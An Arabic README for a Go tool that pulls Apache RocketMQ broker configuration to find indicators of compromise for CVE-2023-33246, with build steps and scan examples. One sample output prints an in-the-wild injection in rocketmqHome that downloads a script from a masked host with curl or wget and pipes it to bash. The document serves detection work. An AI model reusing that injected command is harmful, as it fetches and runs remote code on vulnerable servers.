
أداة استغلال مكتوبة بلغة Go لجلب إعدادات وسيط RocketMQ من أجل اكتشاف مؤشرات الاختراق لـ CVE-2023-33246
سيحاول تكوين وسيط Fetch Broker تنزيل تكوين وسيط RocketMQ من أجل البحث عن مؤشرات الاختراق في المتغير rocketmqHome. يُستخدم هذا المتغير من قبل مهاجمين مختلفين لتنفيذ كود عبر CVE-2023-33246. للحصول على تفاصيل إضافية، راجع مدونة VulnCheck.
يمكنك استخدام ملف makefile لبناء حاوية docker:
make docker
أو، إذا كان لديك بيئة بناء Go جاهزة، فقط استخدم make:
albinolobster@mournland:~/fetch-broker-conf$ make
gofmt -d -w main.go
golangci-lint run --fix main.go
GOOS=linux GOARCH=arm64 go build -o build/main_linux-arm64 main.go
الأداة مبنية على go-exploit، لذا هناك طرق متعددة لتقديم الأهداف للمسح. يمكن العثور على وصف كامل في وثائق المسح للمشروع. ومع ذلك، يوضح ما يلي بعض الأمثلة:
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhost 10.9.49.143 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-09-05T05:27:48.567836165-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.143",
"port": 10911
}
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts 10.9.49.143,10.9.49.150 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-09-05T05:34:27.505747211-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.143",
"port": 10911
}
{
"time": "2023-09-05T05:34:27.802345043-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.150",
"port": 10911
}
go-exploit يوفر القدرة على المسح عبر ملف CSV مستهدف، حيث يكون CSV بالشكل: host, port, anything if ssl is enabled (على الرغم من تجاهل حقل SSL إذا تم استخدام -a). كما يوفر القدرة على المسح عبر وكيل. يعمل الأمر كالتالي (لاحظ أن -a هو اكتشاف SSL تلقائي):
albinolobster@mournland:~/rocketmq-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -proxy socks5://127.0.0.1:9050 -log-json true 2>/dev/null | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-08-31T13:45:35.781849255-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;",
"host": "x.x.x.x",
"port": 10909
}